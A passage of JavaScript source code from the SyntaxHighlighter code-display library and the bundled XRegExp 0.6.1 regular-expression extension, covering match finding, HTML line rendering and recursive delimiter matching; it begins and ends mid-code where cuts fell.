true;\n\t\t\t}\n\t\t\t\n\t\t\tif (copy.indexOf(right) == copy.length - right.length)\n\t\t\t{\n\t\t\t\tcopy = copy.substring(0, copy.length - right.length);\n\t\t\t\tchanged = true;\n\t\t\t}\n\t\t\t\n\t\t\treturn changed ? copy : original;\n\t\t}\n\t}, // end of utils\n\t\n\t/**\n\t * Shorthand to highlight all elements on the page that are marked as \n\t * SyntaxHighlighter source code.\n\t * \n\t * @param {Object} globalParams\t\tOptional parameters which override element's \n\t * \t\t\t\t\t\t\t\t\tparameters. Only used if element is specified.\n\t * \n\t * @param {Object} element\tOptional element to highlight. If none is\n\t * \t\t\t\t\t\t\tprovided, all elements in the current document \n\t * \t\t\t\t\t\t\tare highlighted.\n\t */ \n\thighlight : function(globalParams, element)\n\t{\n\t\tfunction toArray(source)\n\t\t{\n\t\t\tvar result = [];\n\t\t\t\n\t\t\tfor (var i = 0; i < source.length; i++) \n\t\t\t\tresult.push(source[i]);\n\t\t\t\t\n\t\t\treturn result;\n\t\t};\n\t\t\n\t\tvar elements = element ? [element] : toArray(document.getElementsByTagName(sh.config.tagName)), \n\t\t\tpropertyName = 'innerHTML', \n\t\t\thighlighter = null,\n\t\t\tconf = sh.config\n\t\t\t;\n\n\t\t// support for <SCRIPT TYPE=\"syntaxhighlighter\" /> feature\n\t\tif (conf.useScriptTags)\n\t\t\telements = elements.concat(sh.utils.getSyntaxHighlighterScriptTags());\n\n\t\tif (elements.length === 0) \n\t\t\treturn;\n\t\n\t\tfor (var i = 0; i < elements.length; i++) \n\t\t{\n\t\t\tvar target = elements[i], \n\t\t\t\tparams = sh.utils.parseParams(target.className),\n\t\t\t\tbrushName,\n\t\t\t\tcode,\n\t\t\t\tresult\n\t\t\t\t;\n\n\t\t\t// local params take precedence over globals\n\t\t\tparams = sh.utils.merge(globalParams, params);\n\t\t\tbrushName = params['brush'];\n\n\t\t\tif (brushName == null)\n\t\t\t\tcontinue;\n\n\t\t\t// Instantiate a brush\n\t\t\tif (params['html-script'] == 'true' || sh.defaults['html-script'] == true) \n\t\t\t{\n\t\t\t\thighlighter = new sh.HtmlScript(brushName);\n\t\t\t\tbrushName = 'htmlscript';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tvar brush = sh.utils.findBrush(brushName);\n\t\t\t\t\n\t\t\t\tif (brush)\n\t\t\t\t{\n\t\t\t\t\tbrushName = brush.name;\n\t\t\t\t\thighlighter = new brush();\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tcode = target[propertyName];\n\t\t\t\n\t\t\t// remove CDATA from <SCRIPT/> tags if it's present\n\t\t\tif (conf.useScriptTags)\n\t\t\t\tcode = sh.utils.stripCData(code);\n\t\t\t\n\t\t\tparams['brush-name'] = brushName;\n\t\t\thighlighter.highlight(code, params);\n\t\t\t\n\t\t\tresult = highlighter.div;\n\t\t\t\n\t\t\tif (sh.config.debug) \n\t\t\t{\n\t\t\t\tresult = document.createElement('textarea');\n\t\t\t\tresult.value = highlighter.div.innerHTML;\n\t\t\t\tresult.style.width = '70em';\n\t\t\t\tresult.style.height = '30em';\n\t\t\t}\n\t\t\t\n\t\t\ttarget.parentNode.replaceChild(result, target);\n\t\t}\n\t},\n\n\t/**\n\t * Main entry point for the SyntaxHighlighter.\n\t * @param {Object} params Optional params to apply to all highlighted elements.\n\t */\n\tall : function(params)\n\t{\n\t\tsh.utils.addEvent(\n\t\t\twindow,\n\t\t\t'load',\n\t\t\tfunction() { sh.highlight(params); }\n\t\t);\n\t}\n}; // end of sh\n\n/**\n * Match object.\n */\nsh.Match = function(value, index, css)\n{\n\tthis.value = value;\n\tthis.index = index;\n\tthis.length = value.length;\n\tthis.css = css;\n\tthis.brushName = null;\n};\n\nsh.Match.prototype.toString = function()\n{\n\treturn this.value;\n};\n\n/**\n * Simulates HTML code with a scripting language embedded.\n * \n * @param {String} scriptBrushName Brush name of the scripting language.\n */\nsh.HtmlScript = function(scriptBrushName)\n{\n\tvar brushClass = sh.utils.findBrush(scriptBrushName),\n\t\tscriptBrush,\n\t\txmlBrush = new sh.brushes.Xml(),\n\t\tbracketsRegex = null\n\t\t;\n\n\tif (brushClass == null)\n\t\treturn;\n\t\n\tscriptBrush = new brushClass();\n\tthis.xmlBrush = xmlBrush;\n\t\n\tif (scriptBrush.htmlScript == null)\n\t{\n\t\tsh.utils.alert(sh.config.strings.brushNotHtmlScript + scriptBrushName);\n\t\treturn;\n\t}\n\t\n\txmlBrush.regexList.push(\n\t\t{ regex: scriptBrush.htmlScript.code, func: process }\n\t);\n\t\n\tfunction offsetMatches(matches, offset)\n\t{\n\t\tfor (var j = 0; j < matches.length; j++) \n\t\t\tmatches[j].index += offset;\n\t}\n\t\n\tfunction process(match, info)\n\t{\n\t\tvar code = match.code,\n\t\t\tmatches = [],\n\t\t\tregexList = scriptBrush.regexList,\n\t\t\toffset = match.index + match.left.length,\n\t\t\thtmlScript = scriptBrush.htmlScript,\n\t\t\tresult\n\t\t\t;\n\n\t\t// add all matches from the code\n\t\tfor (var i = 0; i < regexList.length; i++)\n\t\t{\n\t\t\tresult = sh.utils.getMatches(code, regexList[i]);\n\t\t\toffsetMatches(result, offset);\n\t\t\tmatches = matches.concat(result);\n\t\t}\n\t\t\n\t\t// add left script bracket\n\t\tif (htmlScript.left != null && match.left != null)\n\t\t{\n\t\t\tresult = sh.utils.getMatches(match.left, htmlScript.left);\n\t\t\toffsetMatches(result, match.index);\n\t\t\tmatches = matches.concat(result);\n\t\t}\n\t\t\n\t\t// add right script bracket\n\t\tif (htmlScript.right != null && match.right != null)\n\t\t{\n\t\t\tresult = sh.utils.getMatches(match.right, htmlScript.right);\n\t\t\toffsetMatches(result, match.index + match[0].lastIndexOf(match.right));\n\t\t\tmatches = matches.concat(result);\n\t\t}\n\t\t\n\t\tfor (var j = 0; j < matches.length; j++)\n\t\t\tmatches[j].brushName = brushClass.name;\n\n\t\treturn matches;\n\t}\n};\n\nsh.HtmlScript.prototype.highlight = function(code, params)\n{\n\tthis.xmlBrush.highlight(code, params);\n\tthis.div = this.xmlBrush.div;\n}\n\n/**\n * Main Highlither class.\n * @constructor\n */\nsh.Highlighter = function()\n{\n};\n\nsh.Highlighter.prototype = {\n\t/**\n\t * Returns value of the parameter passed to the highlighter.\n\t * @param {String} name\t\t\t\tName of the parameter.\n\t * @param {Object} defaultValue\t\tDefault value.\n\t * @return {Object}\t\t\t\t\tReturns found value or default value otherwise.\n\t */\n\tgetParam : function(name, defaultValue)\n\t{\n\t\tvar result = this.params[name];\n\t\treturn sh.utils.toBoolean(result == null ? defaultValue : result);\n\t},\n\t\n\t/**\n\t * Shortcut to document.createElement().\n\t * @param {String} name\t\tName of the element to create (DIV, A, etc).\n\t * @return {HTMLElement}\tReturns new HTML element.\n\t */\n\tcreate: function(name)\n\t{\n\t\treturn document.createElement(name);\n\t},\n\t\n\t/**\n\t * Applies all regular expression to the code and stores all found\n\t * matches in the `this.matches` array.\n\t * @param {Array} regexList\t\tList of regular expressions.\n\t * @param {String} code\t\t\tSource code.\n\t * @return {Array}\t\t\t\tReturns list of matches.\n\t */\n\tfindMatches: function(regexList, code)\n\t{\n\t\tvar result = [];\n\t\t\n\t\tif (regexList != null)\n\t\t\tfor (var i = 0; i < regexList.length; i++) \n\t\t\t\t// BUG: length returns len+1 for array if methods added to prototype chain (oising@gmail.com)\n\t\t\t\tif (typeof (regexList[i]) == \"object\")\n\t\t\t\t\tresult = result.concat(sh.utils.getMatches(code, regexList[i]));\n\t\t\n\t\t// sort the matches\n\t\treturn result.sort(sh.utils.matchesSortCallback);\n\t},\n\t\n\t/**\n\t * Checks to see if any of the matches are inside of other matches. \n\t * This process would get rid of highligted strings inside comments, \n\t * keywords inside strings and so on.\n\t */\n\tremoveNestedMatches: function()\n\t{\n\t\tvar matches = this.matches;\n\t\t\n\t\t// Optimized by Jose Prado (http://joseprado.com)\n\t\tfor (var i = 0; i < matches.length; i++) \n\t\t{ \n\t\t\tif (matches[i] === null)\n\t\t\t\tcontinue;\n\t\t\t\n\t\t\tvar itemI = matches[i],\n\t\t\t\titemIEndPos = itemI.index + itemI.length\n\t\t\t\t;\n\t\t\t\n\t\t\tfor (var j = i + 1; j < matches.length && matches[i] !== null; j++) \n\t\t\t{\n\t\t\t\tvar itemJ = matches[j];\n\t\t\t\t\n\t\t\t\tif (itemJ === null) \n\t\t\t\t\tcontinue;\n\t\t\t\telse if (itemJ.index > itemIEndPos) \n\t\t\t\t\tbreak;\n\t\t\t\telse if (itemJ.index == itemI.index && itemJ.length > itemI.length)\n\t\t\t\t\tthis.matches[i] = null;\n\t\t\t\telse if (itemJ.index >= itemI.index && itemJ.index < itemIEndPos) \n\t\t\t\t\tthis.matches[j] = null;\n\t\t\t}\n\t\t}\n\t},\n\t\n\t/**\n\t * Splits block of text into individual DIV lines.\n\t * @param {String} code     Code to highlight.\n\t * @return {String}         Returns highlighted code in HTML form.\n\t */\n\tcreateDisplayLines : function(code)\n\t{\n\t\tvar lines = code.split(/\\n/g),\n\t\t\tfirstLine = parseInt(this.getParam('first-line')),\n\t\t\tpadLength = this.getParam('pad-line-numbers'),\n\t\t\thighlightedLines = this.getParam('highlight', []),\n\t\t\thasGutter = this.getParam('gutter')\n\t\t\t;\n\t\t\n\t\tcode = '';\n\t\t\n\t\tif (padLength == true)\n\t\t\tpadLength = (firstLine + lines.length - 1).toString().length;\n\t\telse if (isNaN(padLength) == true)\n\t\t\tpadLength = 0;\n\n\t\tfor (var i = 0; i < lines.length; i++)\n\t\t{\n\t\t\tvar line = lines[i],\n\t\t\t\tindent = /^(&nbsp;|\\s)+/.exec(line),\n\t\t\t\tlineClass = 'alt' + (i % 2 == 0 ? 1 : 2),\n\t\t\t\tlineNumber = sh.utils.padNumber(firstLine + i, padLength),\n\t\t\t\thighlighted = sh.utils.indexOf(highlightedLines, (firstLine + i).toString()) != -1,\n\t\t\t\tspaces = null\n\t\t\t\t;\n\n\t\t\tif (indent != null)\n\t\t\t{\n\t\t\t\tspaces = indent[0].toString();\n\t\t\t\tline = line.substr(spaces.length);\n\t\t\t}\n\n\t\t\tline = sh.utils.trim(line);\n\t\t\t\n\t\t\tif (line.length == 0)\n\t\t\t\tline = '&nbsp;';\n\t\t\t\n\t\t\tif (highlighted)\n\t\t\t\tlineClass += ' highlighted';\n\t\t\t\n\t\t\tcode += \n\t\t\t\t'<div class=\"line ' + lineClass + '\">'\n\t\t\t\t\t+ '<table>'\n\t\t\t\t\t\t+ '<tr>'\n\t\t\t\t\t\t\t+ (hasGutter ? '<td class=\"number\"><code>' + lineNumber + '</code></td>' : '')\n\t\t\t\t\t\t\t+ '<td class=\"content\">'\n\t\t\t\t\t\t\t\t+ (spaces != null ? '<code class=\"spaces\">' + spaces.replace(' ', '&nbsp;') + '</code>' : '')\n\t\t\t\t\t\t\t\t+ line\n\t\t\t\t\t\t\t+ '</td>'\n\t\t\t\t\t\t+ '</tr>'\n\t\t\t\t\t+ '</table>'\n\t\t\t\t+ '</div>'\n\t\t\t\t;\n\t\t}\n\t\t\n\t\treturn code;\n\t},\n\t\n\t/**\n\t * Finds all matches in the source code.\n\t * @param {String} code\t\tSource code to process matches in.\n\t * @param {Array} matches\tDiscovered regex matches.\n\t * @return {String} Returns formatted HTML with processed mathes.\n\t */\n\tprocessMatches: function(code, matches)\n\t{\n\t\tvar pos = 0, \n\t\t\tresult = '',\n\t\t\tdecorate = sh.utils.decorate, // make an alias to save some bytes\n\t\t\tbrushName = this.getParam('brush-name', '')\n\t\t\t;\n\t\t\n\t\tfunction getBrushNameCss(match)\n\t\t{\n\t\t\tvar result = match ? (match.brushName || brushName) : brushName;\n\t\t\treturn result ? result + ' ' : '';\n\t\t};\n\t\t\n\t\t// Finally, go through the final list of matches and pull the all\n\t\t// together adding everything in between that isn't a match.\n\t\tfor (var i = 0; i < matches.length; i++) \n\t\t{\n\t\t\tvar match = matches[i],\n\t\t\t\tmatchBrushName\n\t\t\t\t;\n\t\t\t\n\t\t\tif (match === null || match.length === 0) \n\t\t\t\tcontinue;\n\t\t\t\n\t\t\tmatchBrushName = getBrushNameCss(match);\n\t\t\t\n\t\t\tresult += decorate(code.substr(pos, match.index - pos), matchBrushName + 'plain')\n\t\t\t\t\t+ decorate(match.value, matchBrushName + match.css)\n\t\t\t\t\t;\n\n\t\t\tpos = match.index + match.length;\n\t\t}\n\n\t\t// don't forget to add whatever's remaining in the string\n\t\tresult += decorate(code.substr(pos), getBrushNameCss() + 'plain');\n\n\t\treturn result;\n\t},\n\t\n\t/**\n\t * Highlights the code and returns complete HTML.\n\t * @param {String} code     Code to highlight.\n\t * @param {Object} params   Parameters object.\n\t */\n\thighlight: function(code, params)\n\t{\n\t\t// using variables for shortcuts because JS compressor will shorten local variable names\n\t\tvar conf = sh.config,\n\t\t\tvars = sh.vars,\n\t\t\tdiv,\n\t\t\tdivClassName,\n\t\t\ttabSize,\n\t\t\timportant = 'important'\n\t\t\t;\n\n\t\tthis.params = {};\n\t\tthis.div = null;\n\t\tthis.lines = null;\n\t\tthis.code = null;\n\t\tthis.bar = null;\n\t\tthis.toolbarCommands = {};\n\t\tthis.id = sh.utils.guid('highlighter_');\n\n\t\t// register this instance in the highlighters list\n\t\tvars.highlighters[this.id] = this;\n\n\t\tif (code === null) \n\t\t\tcode = '';\n\t\t\n\t\t// local params take precedence over defaults\n\t\tthis.params = sh.utils.merge(sh.defaults, params || {});\n\n\t\t// process light mode\n\t\tif (this.getParam('light') == true)\n\t\t\tthis.params.toolbar = this.params.gutter = false;\n\t\t\n\t\tthis.div = div = this.create('DIV');\n\t\tthis.lines = this.create('DIV');\n\t\tthis.lines.className = 'lines';\n\n\t\tclassName = 'syntaxhighlighter';\n\t\tdiv.id = this.id;\n\t\t\n\t\t// make collapsed\n\t\tif (this.getParam('collapse'))\n\t\t\tclassName += ' collapsed';\n\t\t\n\t\t// disable gutter\n\t\tif (this.getParam('gutter') == false)\n\t\t\tclassName += ' nogutter';\n\t\t\n\t\t// disable line wrapping\n\t\tif (this.getParam('wrap-lines') == false)\n\t\t \tthis.lines.className += ' no-wrap';\n\n\t\t// add custom user style name\n\t\tclassName += ' ' + this.getParam('class-name');\n\t\t\n\t\t// add brush alias to the class name for custom CSS\n\t\tclassName += ' ' + this.getParam('brush-name');\n\t\t\n\t\tdiv.className = className;\n\t\t\n\t\tthis.originalCode = code;\n\t\tthis.code = sh.utils.trimFirstAndLastLines(code)\n\t\t\t.replace(/\\r/g, ' ') // IE lets these buggers through\n\t\t\t;\n\t\t\n\t\ttabSize = this.getParam('tab-size');\n\t\t\n\t\t// replace tabs with spaces\n\t\tthis.code = this.getParam('smart-tabs') == true\n\t\t\t? sh.utils.processSmartTabs(this.code, tabSize)\n\t\t\t: sh.utils.processTabs(this.code, tabSize)\n\t\t\t;\n\n\t\tthis.code = sh.utils.unindent(this.code);\n\n\t\t// add controls toolbar\n\t\tif (this.getParam('toolbar')) \n\t\t{\n\t\t\tthis.bar = this.create('DIV');\n\t\t\tthis.bar.className = 'bar';\n\t\t\tthis.bar.appendChild(sh.toolbar.create(this));\n\t\t\tdiv.appendChild(this.bar);\n\t\t\t\n\t\t\t// set up toolbar rollover\n\t\t\tvar bar = this.bar;\n\t\t\tfunction hide() { bar.className = bar.className.replace('show', ''); }\n\t\t\tdiv.onmouseover = function() { hide(); bar.className += ' show'; };\n\t\t\tdiv.onmouseout = function() { hide(); }\n\t\t}\n\t\t\n\t\tdiv.appendChild(this.lines);\n\t\n\t\tthis.matches = this.findMatches(this.regexList, this.code);\n\t\tthis.removeNestedMatches();\n\t\t\n\t\tcode = this.processMatches(this.code, this.matches);\n\t\t\n\t\t// finally, split all lines so that they wrap well\n\t\tcode = this.createDisplayLines(sh.utils.trim(code));\n\t\t\n\t\t// finally, process the links\n\t\tif (this.getParam('auto-links'))\n\t\t\tcode = sh.utils.processUrls(code);\n\n\t\tthis.lines.innerHTML = code;\n\t},\n\t\n\t/**\n\t * Converts space separated list of keywords into a regular expression string.\n\t * @param {String} str    Space separated keywords.\n\t * @return {String}       Returns regular expression string.\n\t */\t\n\tgetKeywords: function(str)\n\t{\n\t\tstr = str\n\t\t\t.replace(/^\\s+|\\s+$/g, '')\n\t\t\t.replace(/\\s+/g, '|')\n\t\t\t;\n\t\t\n\t\treturn '\\\\b(?:' + str + ')\\\\b';\n\t},\n\t\n\t/**\n\t * Makes a brush compatible with the `html-script` functionality.\n\t * @param {Object} regexGroup Object containing `left` and `right` regular expressions.\n\t */\n\tforHtmlScript: function(regexGroup)\n\t{\n\t\tthis.htmlScript = {\n\t\t\tleft : { regex: regexGroup.left, css: 'script' },\n\t\t\tright : { regex: regexGroup.right, css: 'script' },\n\t\t\tcode : new XRegExp(\n\t\t\t\t\"(?<left>\" + regexGroup.left.source + \")\" +\n\t\t\t\t\"(?<code>.*?)\" +\n\t\t\t\t\"(?<right>\" + regexGroup.right.source + \")\",\n\t\t\t\t\"sgi\"\n\t\t\t\t)\n\t\t};\n\t}\n}; // end of Highlighter\n\nreturn sh;\n}(); // end of anonymous function\n\n\n/**\n * XRegExp 0.6.1\n * (c) 2007-2008 Steven Levithan\n * <http://stevenlevithan.com/regex/xregexp/>\n * MIT License\n * \n * provides an augmented, cross-browser implementation of regular expressions\n * including support for additional modifiers and syntax. several convenience\n * methods and a recursive-construct parser are also included.\n */\n\n// prevent running twice, which would break references to native globals\nif (!window.XRegExp) {\n// anonymous function to avoid global variables\n(function () {\n// copy various native globals for reference. can't use the name ``native``\n// because it's a reserved JavaScript keyword.\nvar real = {\n        exec:    RegExp.prototype.exec,\n        match:   String.prototype.match,\n        replace: String.prototype.replace,\n        split:   String.prototype.split\n    },\n    /* regex syntax parsing with support for all the necessary cross-\n       browser and context issues (escapings, character classes, etc.) */\n    lib = {\n        part:       /(?:[^\\\\([#\\s.]+|\\\\(?!k<[\\w$]+>|[pP]{[^}]+})[\\S\\s]?|\\((?=\\?(?!#|<[\\w$]+>)))+|(\\()(?:\\?(?:(#)[^)]*\\)|<([$\\w]+)>))?|\\\\(?:k<([\\w$]+)>|[pP]{([^}]+)})|(\\[\\^?)|([\\S\\s])/g,\n        replaceVar: /(?:[^$]+|\\$(?![1-9$&`']|{[$\\w]+}))+|\\$(?:([1-9]\\d*|[$&`'])|{([$\\w]+)})/g,\n        extended:   /^(?:\\s+|#.*)+/,\n        quantifier: /^(?:[?*+]|{\\d+(?:,\\d*)?})/,\n        classLeft:  /&&\\[\\^?/g,\n        classRight: /]/g\n    },\n    indexOf = function (array, item, from) {\n        for (var i = from || 0; i < array.length; i++)\n            if (array[i] === item) return i;\n        return -1;\n    },\n    brokenExecUndef = /()??/.exec(\"\")[1] !== undefined,\n    plugins = {};\n\n/**\n * Accepts a pattern and flags, returns a new, extended RegExp object.\n * differs from a native regex in that additional flags and syntax are\n * supported and browser inconsistencies are ameliorated.\n * @ignore\n */\nXRegExp = function (pattern, flags) {\n    if (pattern instanceof RegExp) {\n        if (flags !== undefined)\n            throw TypeError(\"can't supply flags when constructing one RegExp from another\");\n        return pattern.addFlags(); // new copy\n    }\n\n    var flags           = flags || \"\",\n        singleline      = flags.indexOf(\"s\") > -1,\n        extended        = flags.indexOf(\"x\") > -1,\n        hasNamedCapture = false,\n        captureNames    = [],\n        output          = [],\n        part            = lib.part,\n        match, cc, len, index, regex;\n\n    part.lastIndex = 0; // in case the last XRegExp compilation threw an error (unbalanced character class)\n\n    while (match = real.exec.call(part, pattern)) {\n        // comment pattern. this check must come before the capturing group check,\n        // because both match[1] and match[2] will be non-empty.\n        if (match[2]) {\n            // keep tokens separated unless the following token is a quantifier\n            if (!lib.quantifier.test(pattern.slice(part.lastIndex)))\n                output.push(\"(?:)\");\n        // capturing group\n        } else if (match[1]) {\n            captureNames.push(match[3] || null);\n            if (match[3])\n                hasNamedCapture = true;\n            output.push(\"(\");\n        // named backreference\n        } else if (match[4]) {\n            index = indexOf(captureNames, match[4]);\n            // keep backreferences separate from subsequent literal numbers\n            // preserve backreferences to named groups that are undefined at this point as literal strings\n            output.push(index > -1 ?\n                \"\\\\\" + (index + 1) + (isNaN(pattern.charAt(part.lastIndex)) ? \"\" : \"(?:)\") :\n                match[0]\n            );\n        // unicode element (requires plugin)\n        } else if (match[5]) {\n            output.push(plugins.unicode ?\n                plugins.unicode.get(match[5], match[0].charAt(1) === \"P\") :\n                match[0]\n            );\n        // character class opening delimiter (\"[\" or \"[^\")\n        // (non-native unicode elements are not supported within character classes)\n        } else if (match[6]) {\n            if (pattern.charAt(part.lastIndex) === \"]\") {\n                // for cross-browser compatibility with ECMA-262 v3 behavior,\n                // convert [] to (?!) and [^] to [\\S\\s].\n                output.push(match[6] === \"[\" ? \"(?!)\" : \"[\\\\S\\\\s]\");\n                part.lastIndex++;\n            } else {\n                // parse the character class with support for inner escapes and\n                // ES4's infinitely nesting intersection syntax ([&&[^&&[]]]).\n                cc = XRegExp.matchRecursive(\"&&\" + pattern.slice(match.index), lib.classLeft, lib.classRight, \"\", {escapeChar: \"\\\\\"})[0];\n                output.push(match[6] + cc + \"]\");\n                part.lastIndex += cc.length + 1;\n            }\n        // dot (\".\"), pound sign (\"#\"), or whitespace character\n        } else if (match[7]) {\n            if (singleline && match[7] === \".\") {\n                output.push(\"[\\\\S\\\\s]\");\n            } else if (extended && lib.extended.test(match[7])) {\n                len = real.exec.call(lib.extended, pattern.slice(part.lastIndex - 1))[0].length;\n                // keep tokens separated unless the following token is a quantifier\n                if (!lib.quantifier.test(pattern.slice(part.lastIndex - 1 + len)))\n                    output.push(\"(?:)\");\n                part.lastIndex += len - 1;\n            } else {\n                output.push(match[7]);\n            }\n        } else {\n            output.push(match[0]);\n        }\n    }\n\n    regex = RegExp(output.join(\"\"), real.replace.call(flags, /[sx]+/g, \"\"));\n    regex._x = {\n        source:       pattern,\n        captureNames: hasNamedCapture ? captureNames : null\n    };\n    return regex;\n};\n\n/**\n * Barebones plugin support for now (intentionally undocumented)\n * @ignore\n * @param {Object} name\n * @param {Object} o\n */\nXRegExp.addPlugin = function (name, o) {\n    plugins[name] = o;\n};\n\n/**\n * Adds named capture support, with values returned as ``result.name``.\n * \n * Also fixes two cross-browser issues, following the ECMA-262 v3 spec:\n *  - captured values for non-participating capturing groups should be returned\n *    as ``undefined``, rather than the empty string.\n *  - the regex's ``lastIndex`` should not be incremented after zero-length\n *    matches.\n * @ignore\n */\nRegExp.prototype.exec = function (str) {\n    var match = real.exec.call(this, str),\n        name, i, r2;\n    if (match) {\n        // fix browsers whose exec methods don't consistently return\n        // undefined for non-participating capturing groups\n        if (brokenExecUndef && match.length > 1) {\n            // r2 doesn't need /g or /y, but they shouldn't hurt\n            r2 = new RegExp(\"^\" + this.source + \"$(?!\\\\s)\", this.getNativeFlags());\n            real.replace.call(match[0], r2, function () {\n                for (i = 1; i < arguments.length - 2; i++) {\n                    if (arguments[i] === undefined) match[i] = undefined;\n                }\n            });\n        }\n        // attach named capture properties\n        if (this._x && this._x.captureNames) {\n            for (i = 1; i < match.length; i++) {\n                name = this._x.captureNames[i - 1];\n                if (name) match[name] = match[i];\n            }\n        }\n        // fix browsers that increment lastIndex after zero-length matches\n        if (this.global && this.lastIndex > (match.index + match[0].length))\n            this.lastIndex--;\n    }\n    return match;\n};\n})(); // end anonymous function\n} // end if(!window.XRegExp)\n\n/**\n * intentionally undocumented\n * @ignore\n */\nRegExp.prototype.getNativeFlags = function () {\n    return (this.global     ? \"g\" : \"\") +\n           (this.ignoreCase ? \"i\" : \"\") +\n           (this.multiline  ? \"m\" : \"\") +\n           (this.extended   ? \"x\" : \"\") +\n           (this.sticky     ? \"y\" : \"\");\n};\n\n/**\n * Accepts flags; returns a new XRegExp object generated by recompiling\n * the regex with the additional flags (may include non-native flags).\n * The original regex object is not altered.\n * @ignore\n */\nRegExp.prototype.addFlags = function (flags) {\n    var regex = new XRegExp(this.source, (flags || \"\") + this.getNativeFlags());\n    if (this._x) {\n        regex._x = {\n            source:       this._x.source,\n            captureNames: this._x.captureNames ? this._x.captureNames.slice(0) : null\n        };\n    }\n    return regex;\n};\n\n/**\n * Accepts a context object and string; returns the result of calling\n * ``exec`` with the provided string. the context is ignored but is\n * accepted for congruity with ``Function.prototype.call``.\n * @ignore\n */\nRegExp.prototype.call = function (context, str) {\n    return this.exec(str);\n};\n\n/**\n * Accepts a context object and arguments array; returns the result of\n * calling ``exec`` with the first value in the arguments array. the context\n * is ignored but is accepted for congruity with ``Function.prototype.apply``.\n * @ignore\n */\nRegExp.prototype.apply = function (context, args) {\n    return this.exec(args[0]);\n};\n\n/**\n * Accepts a pattern and flags; returns an XRegExp object. if the pattern\n * and flag combination has previously been cached, the cached copy is\n * returned, otherwise the new object is cached.\n * @ignore\n */\nXRegExp.cache = function (pattern, flags) {\n    var key = \"/\" + pattern + \"/\" + (flags || \"\");\n    return XRegExp.cache[key] || (XRegExp.cache[key] = new XRegExp(pattern, flags));\n};\n\n/**\n * Accepts a string; returns the string with regex metacharacters escaped.\n * the returned string can safely be used within a regex to match a literal\n * string. escaped characters are [, ], {, }, (, ), -, *, +, ?, ., \\, ^, $,\n * |, #, [comma], and whitespace.\n * @ignore\n */\nXRegExp.escape = function (str) {\n    return str.replace(/[-[\\]{}()*+?.\\\\^$|,#\\s]/g, \"\\\\$&\");\n};\n\n/**\n * Accepts a string to search, left and right delimiters as regex pattern\n * strings, optional regex flags (may include non-native s, x, and y flags),\n * and an options object which allows setting an escape character and changing\n * the return format from an array of matches to a two-dimensional array of\n * string parts with extended position data. returns an array of matches\n * (optionally with extended data), allowing nested instances of left and right\n * delimiters. use the g flag to return all matches, otherwise only the first\n * is returned. if delimiters are unbalanced within the subject data, an error\n * is thrown.\n * \n * This function admittedly pushes the boundaries of what can be accomplished\n * sensibly without a \"real\" parser. however, by doing so it provides flexible\n * and powerful recursive parsing capabilities with minimal code weight.\n * \n * Warning: the ``escapeChar`` option is considered experimental and might be\n * changed or removed in future versions of XRegExp.\n * \n * unsupported features:\n *  - backreferences within delimiter patterns when using ``escapeChar``.\n *  - although providing delimiters as regex objects adds the minor feature of\n *    independent delimiter flags, it introduces other limitations and is only\n *    intended to be done by the ``XRegExp`` constructor (which can't call\n *    itself while building a regex).\n * \n * @ignore\n */\nXRegExp.matchRecursive = function (str, left, right, flags, options) {\n    var options      = options || {},\n        escapeChar   = options.escapeChar,\n        vN           = options.valueNames,\n        flags        = flags || \"\",\n        global       = flags.indexOf(\"g\") > -1,\n        ignoreCase   = flags.indexOf(\"i\") > -1,\n        multiline    = flags.indexOf(\"m\") > -1,\n        sticky       = flags.indexOf(\"y\") > -1,\n        /* sticky mode has its own handling in this function, which means you\n           can use flag \"y\" even in browsers which don't support it natively */\n        flags        = flags.replace(/y/g, \"\"),\n        left         = left  instanceof RegExp ? (left.global  ? left  : left.addFlags(\"g\"))  : new XRegExp(left,  \"g\" + flags),\n        right        = right instanceof RegExp ? (right.global ? right : right.addFlags(\"g\")) : new XRegExp(right, \"g\" + flags),\n        output       = [],\n        openTokens   = 0,\n        delimStart   = 0,\n        delimEnd     = 0,\n        lastOuterEnd = 0,\n        outerStart, innerStart, leftMatch, rightMatch, escaped, esc;\n\n    if (escapeChar) {\n        if (escapeChar.length > 1) throw SyntaxError(\"can't supply more than one escape character\");\n        if (multiline)             throw TypeError(\"can't supply escape character when using the multiline flag\");\n        escaped = XRegExp.escape(escapeChar);\n        /* Escape pattern modifiers:\n            /g - not needed here\n            /i - included\n            /m - **unsupported**, throws error\n            /s - handled by XRegExp when delimiters are provided as strings\n            /x - handled by XRegExp when delimiters are provided as strings\n            /y - not needed here; supported by other handling in this function\n        */\n        esc = new RegExp(\n            \"^(?:\" + escaped + \"[\\\\S\\\\s]|(?:(?!\" + left.source + \"|\" + right.source + \")[^\" + escaped + \"])+)+\",\n            ignoreCase ? \"i\" : \"\"\n        );\n    }\n\n    while (true) {\n        /* advance the starting search position to the end of the last delimiter match.\n           a couple special cases are also covered:\n            - if using an escape character, advance to the next delimiter's starting position,\n              skipping any escaped characters\n            - first time through, reset lastIndex in case delimiters were provided as regexes\n        */\n        left.lastIndex = right.lastIndex = delimEnd +\n            (escapeChar ? (esc.exec(str.slice(delimEnd)) || [\"\"])[0].length : 0);\n\n        leftMatch  = left.exec(str);\n        rightMatch = right.exec(str);\n\n        // only keep the result which matched earlier in the string\n        if (leftMatch && rightMatch) {\n            if (leftMatch.index <= rightMatch.index)\n                 rightMatch = null;\n            else leftMatch  = null;\n        }\n\n        /* paths*:\n        leftMatch | rightMatch | openTokens | result\n        1         | 0          | 1          | ...\n        1         | 0          | 0          | ...\n        0         | 1          | 1          | ...\n        0         | 1          | 0          | throw\n        0         | 0          | 1          | throw\n        0         | 0          | 0          | break\n        * - does not include the sticky mode special case\n          - the loop ends after the first completed match if not in global mode\n        */\n\n        if (leftMatch || rightMatch) {\n            delimStart = (leftMatch || rightMatch).index;\n            delimEnd   = (leftMatch ? left : right).lastIndex;\n        } else if (!openTokens) {\n            break;\n        }\n\n        if (sticky && !openTokens && delimStart > lastOuterEnd)\n            break;\n\n        if (leftMatch) {\n            if (!openTokens++) {\n                outerStart = delimStart;\n                innerStart = delimEnd;\n            }\n        } else if (rightMatch && openTokens) {\n            if (!--openTokens) {\n                if (vN) {\n                    if (vN[0] && outerStart > lastOuterEnd)\n                               output.push([vN[0], str.slice(lastOuterEnd, outerStart), lastOuterEnd, outerStart]);\n                    if (vN[1]) output.push([vN[1], str.slice(outerStart,   innerStart), outerStart,   innerStart]);\n                    if (vN[2]) output.push([vN[2], str.slice(innerStart,   delimStart), innerStart,   